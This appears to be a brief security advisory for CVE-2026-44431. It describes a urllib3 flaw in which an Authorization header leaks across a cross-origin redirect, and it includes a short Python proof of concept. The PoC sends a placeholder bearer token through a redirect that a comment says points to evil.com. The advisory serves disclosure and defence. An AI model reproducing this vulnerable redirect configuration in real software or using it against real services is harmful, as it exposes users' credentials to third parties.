CVE-2026-44431 urllib3跨源重定向敏感信息泄露

import urllib3 # This PoC demonstrates the vulnerable configuration. # It requires a server that redirects to a different origin to observe the leak. # Create a ProxyManager instance pm = urllib3.ProxyManager('http://proxy:8080') # Target URL that will perform a cross-origin redirect (e.g., 302 to http://evil.com) target_url = 'http://trusted-site.com/redirect-endpoint' # Sensitive header that should not be leaked headers = {'Authorization': 'Bearer secret_token_123'} # Vulnerable call: using assert_same_host=False # In vulnerable versions (< 2.7.0), the Authorization header will be sent to the redirect target. try: resp = pm.connection_from_url(target_url).urlopen( 'GET', target_url, headers=headers, assert_same_host=False, redirect=True ) print(f"Status: {resp.status}") except Exception as e: print(f"Error: {e}")